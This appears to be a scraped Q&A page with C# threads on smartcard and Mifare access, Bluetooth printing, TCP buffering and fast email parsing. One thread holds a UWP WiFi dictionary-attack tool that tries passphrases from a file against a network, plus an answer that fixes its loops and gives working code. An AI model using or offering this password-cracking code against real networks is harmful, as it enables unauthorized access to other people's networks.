C# - Write in Smartcard using PCSC-Sharp - c#

Good day everyone, I would like to ask on how to write in Smartcard. I just rely on the example given on the documentation but it only has read tag.
I follow the examples here in https://github.com/danm-de/pcsc-sharp/blob/master/Examples/Transmit/Program.cs
using System;
using PCSC;
using PCSC.Iso7816;
namespace Transmit
{
public class Program
{
public static void Main() {
using (var context = new SCardContext()) {
context.Establish(SCardScope.System);
var readerNames = context.GetReaders();
if (readerNames == null || readerNames.Length < 1) {
Console.WriteLine("You need at least one reader in order to run this example.");
Console.ReadKey();
return;
}
var readerName = ChooseRfidReader(readerNames);
if (readerName == null) {
return;
}
using (var rfidReader = new SCardReader(context)) {
var sc = rfidReader.Connect(readerName, SCardShareMode.Shared, SCardProtocol.Any);
if (sc != SCardError.Success) {
Console.WriteLine("Could not connect to reader {0}:\n{1}",
readerName,
SCardHelper.StringifyError(sc));
Console.ReadKey();
return;
}
var apdu = new CommandApdu(IsoCase.Case2Short, rfidReader.ActiveProtocol) {
CLA = 0xFF,
Instruction = InstructionCode.GetData,
P1 = 0x00,
P2 = 0x00,
Le = 0 // We don't know the ID tag size
};
sc = rfidReader.BeginTransaction();
if (sc != SCardError.Success) {
Console.WriteLine("Could not begin transaction.");
Console.ReadKey();
return;
}
Console.WriteLine("Retrieving the UID .... ");
var receivePci = new SCardPCI(); // IO returned protocol control information.
var sendPci = SCardPCI.GetPci(rfidReader.ActiveProtocol);
var receiveBuffer = new byte[256];
var command = apdu.ToArray();
sc = rfidReader.Transmit(
sendPci, // Protocol Control Information (T0, T1 or Raw)
command, // command APDU
receivePci, // returning Protocol Control Information
ref receiveBuffer); // data buffer
if (sc != SCardError.Success) {
Console.WriteLine("Error: " + SCardHelper.StringifyError(sc));
}
var responseApdu = new ResponseApdu(receiveBuffer, IsoCase.Case2Short, rfidReader.ActiveProtocol);
Console.Write("SW1: {0:X2}, SW2: {1:X2}\nUid: {2}",
responseApdu.SW1,
responseApdu.SW2,
responseApdu.HasData ? BitConverter.ToString(responseApdu.GetData()) : "No uid received");
rfidReader.EndTransaction(SCardReaderDisposition.Leave);
rfidReader.Disconnect(SCardReaderDisposition.Reset);
Console.ReadKey();
}
}
}
private static string ChooseRfidReader(string[] readerNames) {
// Show available readers.
Console.WriteLine("Available readers: ");
for (var i = 0; i < readerNames.Length; i++) {
Console.WriteLine("[" + i + "] " + readerNames[i]);
}
// Ask the user which one to choose.
Console.Write("Which reader is an RFID reader? ");
var line = Console.ReadLine();
int choice;
if (!(int.TryParse(line, out choice)) || (choice < 0) || (choice > readerNames.Length)) {
Console.WriteLine("An invalid number has been entered.");
Console.ReadKey();
return null;
}
return readerNames[choice];
}
}
}
I read the documentation but I cannot fully understand on how to CommandAdpu of writing data. I will gladly appreciate if someone can provide me a code snippet on how to write in smart card. Thank you very much!
https://danm.de/docs/pcsc-sharp/

Before starting anything, You should read about Mifare card first, can get the document Here.
And then try to communicate with the card by any APDU tool.
You can use pyApduTool to send commands to the cards if you don't have any such tool.
If you have SCM reader then This document will help you to understand about commands need to send on Mifare classic card.
Also check this and search other Mifare topic to learn about Mifare cards. With all this links you will get to know what commands need to send to write/read Mifare cards and once you will know about APDU/Commands to fire, you can build the same in your code as you said you already read mifare with your code. Just replace write command in your code and if everything fine you can write as you looking for.
Hope it helps..

Related

Mifare Desfire / Mifare plus can't read with ACS ACR1252

Hi i'm newbie in RFID reading. So firstly i downloaded pcsc sharp repository from github. Then i tried to read binary from common rfid tag, it works perfect but the next step was to read data from as i think emulated rfid tag. RFID tag controller is pn71501. From this tag using pcsc sharp i can't read any data excluding ATR and uid. I tried to read this tag using my iPhone and it read it. So what i'm doing wrong?
I also tried to use already done software but it couldn't read it also.
Here is what i get using NFC Tools:
PS Smart Card reader i used is ACS ACR1252
Here is my code:
using System;
using System.Text;
using System.Collections.Generic;
using PCSC;
using PCSC.Iso7816;
namespace Transmit {
public class Program {
public static void Main() {
using (var context = ContextFactory.Instance.Establish(SCardScope.System)) {
var readerNames = context.GetReaders();
if (NoReaderFound(readerNames)) {
Console.WriteLine("You need at least one reader in order to run this example.");
Console.ReadKey();
return;
}
var readerName = ChooseRfidReader(readerNames);
if (readerName == null) {
return;
}
String response = "";
using (var rfidReader = context.ConnectReader(readerName, SCardShareMode.Shared, SCardProtocol.Any)) {
// for (byte i = 0x00; i < 0x47; i++) {
var apdu = new CommandApdu(IsoCase.Case3Extended, rfidReader.Protocol) {
CLA = 0xFF,
Instruction = (InstructionCode)0xB0,
P1 = 0x00,
P2 = 0x00,
Le = 0x10
};
using (rfidReader.Transaction(SCardReaderDisposition.Leave)) {
//Console.WriteLine("Retrieving the UID .... ");
var sendPci = SCardPCI.GetPci(rfidReader.Protocol);
var receivePci = new SCardPCI(); // IO returned protocol control information.
var receiveBuffer = new byte[256];
var command = apdu.ToArray();
var bytesReceived = rfidReader.Transmit(
sendPci, // Protocol Control Information (T0, T1 or Raw)
command, // command APDU
command.Length,
receivePci, // returning Protocol Control Information
receiveBuffer,
receiveBuffer.Length); // data buffer
var responseApdu =
new ResponseApdu(receiveBuffer, bytesReceived, IsoCase.Case3Extended, rfidReader.Protocol);
Console.WriteLine(String.Format("SW1: {0:X2} SW2: {1:X2}", responseApdu.SW1, responseApdu.SW2));
//if(responseApdu.DataSize > 0) {
//response += BitConverter.ToString(responseApdu.GetData()).Replace('-', ' ');
response += responseApdu.DataSize;
// }
}
// }
}
/*String[] devidedResponse = response.Split(' ');
String stillResponse = "";
bool notStarted = true;
int skipBytes = 7;
int onByte = 0;
for(int i = 0; i < devidedResponse.Length; i++) {
if (devidedResponse[i] != "D1" && notStarted) {
continue;
} else if (onByte < skipBytes) {
notStarted = false;
onByte += 1;
continue;
} else if (devidedResponse[i] == "FE") {
break;
}
stillResponse += devidedResponse[i] + " ";
}
String res = stillResponse.Trim();
string asciiCharString = "";
var splitResult = res.Split(' ');
foreach (string hexChar in splitResult) {
var byteChar = int.Parse(hexChar, System.Globalization.NumberStyles.HexNumber);
asciiCharString += (char)byteChar;
}*/
Console.WriteLine(response);
}
Console.WriteLine("\nPress any key to exit.");
Console.ReadKey();
}
private static string ChooseRfidReader(IList<string> readerNames) {
// Show available readers.
Console.WriteLine("Available readers: ");
for (var i = 0; i < readerNames.Count; i++) {
Console.WriteLine($"[{i}] {readerNames[i]}");
}
// Ask the user which one to choose.
Console.Write("Which reader is an RFID reader? ");
var line = Console.ReadLine();
if (int.TryParse(line, out var choice) && choice >= 0 && (choice <= readerNames.Count)) {
return readerNames[choice];
}
Console.WriteLine("An invalid number has been entered.");
Console.ReadKey();
return null;
}
private static bool NoReaderFound(ICollection<string> readerNames) =>
readerNames == null || readerNames.Count < 1;
}
}
I know. I looked it up earlier. Can you read the card with the file explorer?
A hardware device like a UART can be read at three different levels
Read/Write UART directly by finding hardware I/O address
Read/Write through driver. In c# Use Open Serial Port. The driver gets the hardware I/O
Read/Write through an application. The application does 1 and/or 2 above.
You have a working application (number 3) and I do not know if it is using method 1 or 2.
With the card reader I'm trying to make your programming as simple as possible. The easiest method is 3 if you have an API. Next easiest is method 2 which you should be able to use if you installed the vendor driver. You should see device in device manager.
To unlock the card (encryption) you also need to install the certificate than came with card. The file explorer should be able to read/write card.

Bluetooth printing in Xamarin

I've a Bluetooth thermal printer and i am trying to send a print command using Xamarin.
I've tried the following code
BluetoothSocket socket = null;
BufferedReader inReader = null;
BufferedWriter outReader = null;
BluetoothDevice device = (from bd in BluetoothAdapter.DefaultAdapter?.BondedDevices
where bd?.Name == deviceName
select bd).FirstOrDefault();
//BluetoothDevice hxm = BluetoothAdapter.DefaultAdapter.GetRemoteDevice (bt_printer);
UUID applicationUUID = UUID.FromString("00001101-0000-1000-8000-00805F9B34FB");
socket = device.CreateRfcommSocketToServiceRecord(applicationUUID);
socket.Connect();
inReader = new BufferedReader(new InputStreamReader(socket.InputStream));
outReader = new BufferedWriter(new OutputStreamWriter(socket.OutputStream));
outReader.Write("hhhh");
outReader.Flush();
Thread.Sleep(5 * 1000);
var s = inReader.Ready();
inReader.Skip(0);
//close all
inReader.Close();
socket.Close();
outReader.Close();
The screen on the printer shows 'Working' and then back to ready and nothing gets printed out.
As you see i am trying to print the text 'hhhh' do i have to append anything extra for the message.
The printer is an RD-G80 Radall thermal printer.
Hope you can help I've been trying for a week now.
Thanks
I used something like the code below to send the cod to a Zebra
Mobile Printer on a application that i worked some time ago.
Its important to point that u have to know the right code pattern to send to the printer. Usually they have a documentation about it.
In the> application, i send the product code to our backend-end and it
retrieves and build the code pattern that i needed to send from my
mobile application to the printer.
Code below. hope this helps you:
**
private enum msgRet
{
conectionERROR,
sendERROR,
sucess
}
public int Print(string codToSend, string Print)
{
BluetoothAdapter mBluetoothAdapter = BluetoothAdapter.DefaultAdapter;
BluetoothSocket btSocket = null;
UUID MY_UUID = UUID.FromString("00001101-0000-1000-8000-00805F9B34FB");
BluetoothDevice device = null;
Stream outStream = null;
int ret = -1;
try
{
MessagingCenter.Send(this, "Print");
var MacAdress = mBluetoothAdapter.BondedDevices.ToList().Find(x => x.Name == Print).Address;
if(string.IsNullOrEmpty(MacAdress))
return ret = (int)msgRet.sendERROR;
if (!mBluetoothAdapter.IsEnabled)
{
BluetoothAdapter mBluetoothAdapter =
BluetoothAdapter.DefaultAdapter;
if(!mBluetoothAdapter.IsEnabled)
{
mBluetoothAdapter.Enable();
}
}
device = mBluetoothAdapter.GetRemoteDevice(MacAdress);
btSocket = device.CreateInsecureRfcommSocketToServiceRecord(MY_UUID);
if (!btSocket.IsConnected)
{
btSocket.Connect();
}
if (btSocket.IsConnected)
{
Thread.Sleep(200);
try
{
byte[] msgBuffer = Encoding.ASCII.GetBytes(codToSend);
outStream = btSocket.OutputStream;
outStream.Write(msgBuffer, 0, msgBuffer.Length);
}
catch (Exception e)
{
Debug.WriteLine("sendERROR" + e.Message);
ret = (int)msgRet.sendERROR;
}
}
} catch (Exception ex) {
Debug.WriteLine("conectionERROR:" + ex.Message);
ret = (int)msgRet.conectionERROR;
}
finally
{
if (outStream != null) { outStream.Close(); outStream.Dispose();}
mBluetoothAdapter.Dispose();
if (btSocket!=null) { btSocket.Close(); btSocket.Dispose(); }
}
if (ret == -1) { ret = (int)msgRet.sucess; }
return ret;
}

How to make sure I wont lose data from TCP?

I'm sorry if I'm asking something asked before.
I'm developing a program that reads data received via TCP and using a StreamReader, and I just can't find how to make sure that any data won't be missed. Is there any way to create a middle buffer to read from there or something like that?
Here are the methods I've created for receiving data and write it to a text box:
public static void Connect(string IP, string port)
{
try
{
client = new TcpClient();
IPEndPoint IP_End = new IPEndPoint(IPAddress.Parse(IP), int.Parse(port));
client.Connect(IP_End);
if (client.Connected)
{
connected = "Connected to Exemys!" + "\r\n";
STR = new StreamReader(client.GetStream());
bgWorker = true;
}
}
catch (Exception x)
{
MessageBox.Show(x.Message.ToString());
}
}
-
public static void MessageReceiving(TextBox textBox)
{
try
{
string values =Conection.STR.ReadLine();
textBox.Invoke(new MethodInvoker(delegate () { textBox.AppendText("Exemys : " + values.Substring(2) + Environment.NewLine); }));
try
{
string messagetype = values.Substring(5, 1);
string ID = values.Substring(3, 2);
string checksum = values.Substring(values.Length - 2, 2);
if (checksum == CalcularChecksum(values.Substring(3, values.Length - 5)))
{
if (messagetype == "N")
{
if (ID == "01")
{
ID1 = values.Substring(3, 2);
messagetype1 = values.Substring(5, 1);
capacity1 = values.Substring(6, 1);
pressure1 = values.Split(',')[1];
sequencetime1 = values.Split(',')[2];
runstatus1 = values.Split(',')[3];
mode1 = values.Split(',')[4].Substring(0, 1);
checksum1 = CalcularChecksum(values.Substring(3, values.Length - 5));
}
if (ID == "02")
{
ID2 = values.Substring(3, 2);
messagetype2 = values.Substring(5, 1);
capacity2 = values.Substring(6, 1);
pressure2 = values.Split(',')[1];
sequencetime2 = values.Split(',')[2];
runstatus2 = values.Split(',')[3];
mode2 = values.Split(',')[4].Substring(0, 1);
checksum2 = CalcularChecksum(values.Substring(3, values.Length - 5));
}
}
}
}
catch(Exception x)
{
MessageBox.Show(x.Message.ToString());
}
}
catch (Exception)
{
MessageBox.Show("Client disconnected.");
}
}
Edit: what I'm trying to ask is how to always process the entire data before continue receiving? That would be the question.
A TCP stream is a stream of bytes that ends when the socket is closed by you or the remote peer or breaks because of network issues. In order to get everything from the stream you need to call the StreamReader.ReadLine method inside a loop into a buffer until some stop condition applies.
...
try
{
while(true)
{
...
input = STR.ReadLine();
if (input == <some stop condition>)
break;
...
}
}
...
That's a highly simplified example. TCP reading with partial buffer handling can be a complex beast so I recommend to use a library or framework if you're doing more than some hobby project.
Thanks for the response, but after searching, I've found what I was looking for. I wanted to store those messages (data) that were entering to make sure that I won't lose them (for any reason, more precisely that the receiving process would be faster than the message processing operation), so I used Queue to achieve this.
public static void RecepcionMensajes(TextBox textBox)
{
if (client.Connected == true)
{
try
{
string fifo = Conexion.STR.ReadLine();
Queue mensajes = new Queue();
//AquĆ­ se ponen en cola los mensajes que van llegando, utilizando el sistema FIFO.
mensajes.Enqueue(fifo);
string values = mensajes.Dequeue().ToString();
textBox.Invoke(new MethodInvoker(delegate () { textBox.AppendText("Exemys : " + values.Substring(2) + Environment.NewLine); }));

UWP app crashes (but not all the time) during function execution

I'm working on a proof of concept at the moment, just for fun (and for YouTube). The thing I am trying to prove is that I can efficiently "hack" WiFi passwords using UWP and C# for Windows. I don't know of any Wi-Fi cracking tools that are designed specifically for Windows 10 devices (PC, Tablet, XboxOne, Mobile etc)...
So I have actually managed to perform a dictionary style attack (on my own WiFi network of course). However my function seems to completely crash occasionally when running the "hack".
Please consider the fact that this is completely white hat hacking I am talking about here, nothing illegal is intended.
Any help with a reason why this crashes is appreciated...
private async void connectWiFi_Tapped(object sender, TappedRoutedEventArgs e)
{
int success = 0;
var picker = new FileOpenPicker();
picker.ViewMode = PickerViewMode.Thumbnail;
picker.SuggestedStartLocation = PickerLocationId.DocumentsLibrary;
picker.FileTypeFilter.Add(".txt");
StorageFile file = await picker.PickSingleFileAsync();
if (file != null)
{
do
{
string _line;
using (var inputStream = await file.OpenReadAsync())
using (var classicStream = inputStream.AsStreamForRead())
using (var streamReader = new StreamReader(classicStream))
{
while (streamReader.Peek() >= 0)
{
if (success == 0)
{
_line = streamReader.ReadLine();
setConnectionStatus("Status: Checking WiFi network using passphrase " + _line);
if (await checkWifiPassword(_line) == true)
{
success = 1;
setConnectionStatus("SUCCESS: Password successfully identified as " + _line);
firstAdapter.Disconnect();
var msg = new MessageDialog(connectionStatus.Text);
await msg.ShowAsync();
}
else
{
success = 0;
setConnectionStatus("FAIL: Password " + _line + "is incorrect. Checking next password...");
}
}
}
}
} while (success == 0);
}
}
This is the code that actually runs a dictionary-style "hack" on a selected network. The code to actually connect to the network is as follows:
private async Task<bool> checkWifiPassword(string passPhrase)
{
var credential = new PasswordCredential();
WiFiReconnectionKind reconnectionKind = WiFiReconnectionKind.Manual;
credential.Password = passPhrase;
var selectedNetwork = null as WiFiNetworkDisplay;
foreach (var network in ResultCollection)
{
if (WifiNetworks.SelectedItem.ToString() == network.Ssid)
{
selectedNetwork = network as WiFiNetworkDisplay;
}
}
if (selectedNetwork != null)
{
var result = await firstAdapter.ConnectAsync(selectedNetwork.AvailableNetwork, reconnectionKind, credential);
if (result.ConnectionStatus == WiFiConnectionStatus.Success)
{
return true;
}
else
{
return false;
}
}
else
{
return false;
}
}
Does anyone have any idea what I am missing here?
Any help appreciated.
Thanks
Consider this loop
while (streamReader.Peek() >= 0)
{
if (success == 0)
{
_line = streamReader.ReadLine();
setConnectionStatus("Status: Checking WiFi network using passphrase " + _line);
if (await checkWifiPassword(_line) == true)
{
success = 1;
setConnectionStatus("SUCCESS: Password successfully identified as " + _line);
firstAdapter.Disconnect();
var msg = new MessageDialog(connectionStatus.Text);
await msg.ShowAsync();
}
else
{
success = 0;
setConnectionStatus("FAIL: Password " + _line + "is incorrect. Checking next password...");
}
}
}
This can lead to and infinite loop:
Imagine the following dictionary file:
abc
bcd
cde
where abc is the correct password.
You peek the stream, you get 97 (decimal ASCII for letter a), fine.
Success is 0, as we just started.
You read the next line.
You check the password, it works, cool.
You set success to 1, show the message, etc.
User closes the message dialog, ShowAsync() returns.
End of first loop iteration, let's start another one.
You peek the stream, you get 98 (ASCII for letter b), non 0, fine.
Success is not zero, so we skip the entire body of that while, end of second loop iteration.
You peek the stream again, the pointer did not move since the last peek, so you're going to get that same 98 again.
And you skip again, infinite loop.
EDIT - there is actually another infinite loop there
I will not detail this that much, but take a look at the outer do-while loop. That loop runs until success. But if the inner loop exhausts all possibilities and does not find a correct password, success will remain 0. That means the do while will run once again, the inner loop will go through the file again, which obviously will not find a solution again, and so on.
Solution
There are many ways that code could be cleaned up, but the quick fix is to break after msg.ShowAsync();.
More details (that would belong to codereview.stackexchange.com):
Also I would not Peek the StreamReader. Use EndOfStream for that job. And you can skip the inner if, you simply break if you found a correct password. You can drop the outer loop as well. If you completed the inner loop without setting the success flag (which in turn should be a boolean) you can report to the user that no password worked.
I would do something along the lines of: (take it as a pseudo code, might not compile as it is)
private async void connectWiFi_Tapped(object sender, TappedRoutedEventArgs e)
{
var picker = new FileOpenPicker();
picker.ViewMode = PickerViewMode.Thumbnail;
picker.SuggestedStartLocation = PickerLocationId.DocumentsLibrary;
picker.FileTypeFilter.Add(".txt");
StorageFile file = await picker.PickSingleFileAsync();
if (file != null)
{
bool success = false;
string _line;
using (var inputStream = await file.OpenReadAsync())
using (var classicStream = inputStream.AsStreamForRead())
using (var streamReader = new StreamReader(classicStream))
{
while (!streamReader.EndOfStream)
{
_line = streamReader.ReadLine();
setConnectionStatus("Status: Checking WiFi network using passphrase " + _line);
if (await checkWifiPassword(_line) == true)
{
success = true;
setConnectionStatus("SUCCESS: Password successfully identified as " + _line);
firstAdapter.Disconnect();
var msg = new MessageDialog(connectionStatus.Text);
await msg.ShowAsync();
break;
}
else
{
setConnectionStatus("FAIL: Password " + _line + "is incorrect. Checking next password...");
}
}
}
if(!success){ /* report to the user*/ }
}

how to parse emails faster than OpenPop.dll

it is possible using OpenPop.dll.
Pop3Client objPOP3Client = new Pop3Client();
int intTotalEmail = 0;
DataTable dtEmail = new DataTable();
object[] objMessageParts;
try
{
dtEmail = GetAllEmailStructure();
if (objPOP3Client.Connected)
objPOP3Client.Disconnect();
objPOP3Client.Connect(strHostName, intPort, bulUseSSL);
try
{
objPOP3Client.Authenticate(strUserName, new Common()._Decode(strPassword));
intTotalEmail = objPOP3Client.GetMessageCount();
AddMapping();
for (int i = 1; i <= intTotalEmail; i++)
{
objMessageParts = GetMessageContent(i, ref objPOP3Client, dtExistMailList);
if (objMessageParts != null && objMessageParts[0].ToString() == "0")
{
AddToDtEmail(objMessageParts, i, dtEmail, dtUserList, dtTicketIDList, dtBlacklistEmails, dtBlacklistSubject, dtBlacklistDomains);
}
}
}
catch (Exception ex)
{
}
}
catch (Exception ex)
{
ParserLogError(ex, "GetAllEmail()");
}
finally
{
if (objPOP3Client.Connected)
objPOP3Client.Disconnect();
}
// function
public object[] GetMessageContent(int intMessageNumber, ref Pop3Client objPOP3Client, DataTable dtExistingMails)
{
object[] strArrMessage = new object[10];
Message objMessage;
MessagePart plainTextPart = null, HTMLTextPart = null;
string strMessageId = "";
try
{
strArrMessage[0] = "";
strArrMessage[1] = "";
strArrMessage[2] = "";
strArrMessage[3] = "";
strArrMessage[4] = "";
strArrMessage[5] = "";
strArrMessage[6] = "";
strArrMessage[7] = null;
strArrMessage[8] = null;
strArrMessage[7] = "";
strArrMessage[8] = "";
objMessage = objPOP3Client.GetMessage(intMessageNumber);
strMessageId = (objMessage.Headers.MessageId == null ? "" : objMessage.Headers.MessageId.Trim());
if (!IsExistMessageID(dtExistingMails, strMessageId)) //check in data base message id is exists or not
{
strArrMessage[0] = "0";
strArrMessage[1] = objMessage.Headers.From.Address.Trim(); // From EMail Address
strArrMessage[2] = objMessage.Headers.From.DisplayName.Trim(); // From EMail Name
strArrMessage[3] = objMessage.Headers.Subject.Trim();// Mail Subject
plainTextPart = objMessage.FindFirstPlainTextVersion();
strArrMessage[4] = (plainTextPart == null ? "" : plainTextPart.GetBodyAsText().Trim());
HTMLTextPart = objMessage.FindFirstHtmlVersion();
strArrMessage[5] = (HTMLTextPart == null ? "" : HTMLTextPart.GetBodyAsText().Trim());
strArrMessage[6] = strMessageId;
List<MessagePart> attachment = objMessage.FindAllAttachments();
strArrMessage[7] = null;
strArrMessage[8] = null;
if (attachment.Count > 0)
{
if (attachment[0] != null && attachment[0].IsAttachment)
{
strArrMessage[7] = attachment[0].FileName.Trim();
strArrMessage[8] = attachment[0];
}
}
}
else
{
strArrMessage[0] = "1";
}
}
catch (Exception ex)
{
ParserLogError(ex, "GetMessageContent()");
}
return strArrMessage;
}
but, i want to make it faster than above OpenPop.dll. so please let me know if any other technique are there for parsing mails.
please check code and then tell me.
Thanks in advance
but, i want to make it faster than above OpenPop.dll. so please let me
know if any other technique are there for parsing mails.
In your GetMessageContent() method, the 1 place that consumes the vast amount of time is:
objMessage = objPOP3Client.GetMessage(intMessageNumber);
The network I/O part of downloading a message cannot really be optimized, but OpenPop.NET's parser is slow (based on my own performance tests).
MimeKit is 25x faster than OpenPop.NET at parsing email messages.
One of the main performance problems in OpenPop.NET's MIME parser is the fact that it uses a StreamReader for parsing (which is slow due to unnecessary charset conversion, reading 1 line at a time, etc - I have an analysis of another email library that uses StreamReader for parsing here: https://stackoverflow.com/a/18787176/87117).
Then there's the problem that OpenPop.NET's parser also uses Regex to remove CFWS (Comments and Folding White Space) from a header string before parsing/decoding it. This is expensive. It's far better to write a good tokenizer that can deal with CFWS.
If you are interested in some of the other techniques I used to optimize MimeKit to be so fast (as fast or faster than highly optimized C implementations), I wrote some blog posts about this:
Optimization Tricks used by MimeKit: Part 1
The summary of the optimization I talk about in part 1 is replacing loops like this that scan for the end of a line:
while (*inptr != (byte) '\n')
inptr++;
with a faster loop, like this:
int* dword = (int*) inptr;
do {
mask = *dword++ ^ 0x0A0A0A0A;
mask = ((mask - 0x01010101) & (~mask & 0x80808080));
} while (mask == 0);
inptr = (byte*) (dword - 1);
while (*inptr != (byte) '\n')
inptr++;
which improved performance by 20% (although on non-x86 architectures, it requires 'dword' to be 4-byte aligned).
Optimization Tricks used by MimeKit: Part 2
In part 2, I talk about writing a more optimized version of System.IO.MemoryStream. The problem with MemoryStream is that it has to keep 1 contiguous block of memory with the content, which means that as you write more data to it and it has to resize its internal byte array, it has to copy the content to the new array (which is expensive, especially once the amount of data in the stream is large).
To work around this performance bottleneck, I wrote a MemoryBlockStream which does not need to use a contiguous block of memory - it uses a linked list of byte arrays. Instead of having to resize the byte array when you overflow the current buffer, it simply allocates another 2048-byte array that the data will overflow into and appends it to the linked list.
Note: MimeKit itself only does email parsing, it doesn't do POP3 or SMTP or IMAP. If you want that kind of functionality, I've also written a library built on MimeKit that does that as well: MailKit
Update:
Sample code using MailKit (as requested) to download/parse all messages:
using System;
using System.Net;
using MailKit.Net.Pop3;
using MailKit;
using MimeKit;
namespace TestClient {
class Program
{
public static void Main (string[] args)
{
using (var client = new Pop3Client ()) {
client.Connect ("pop.gmail.com", 995, true);
// Note: since we don't have an OAuth2 token, disable
// the XOAUTH2 authentication mechanism.
client.AuthenticationMechanisms.Remove ("XOAUTH2");
client.Authenticate ("joey#gmail.com", "password");
int count = client.GetMessageCount ();
for (int i = 0; i < count; i++) {
var message = client.GetMessage (i);
Console.WriteLine ("Subject: {0}", message.Subject);
}
client.Disconnect (true);
}
}
}
}

Categories

Resources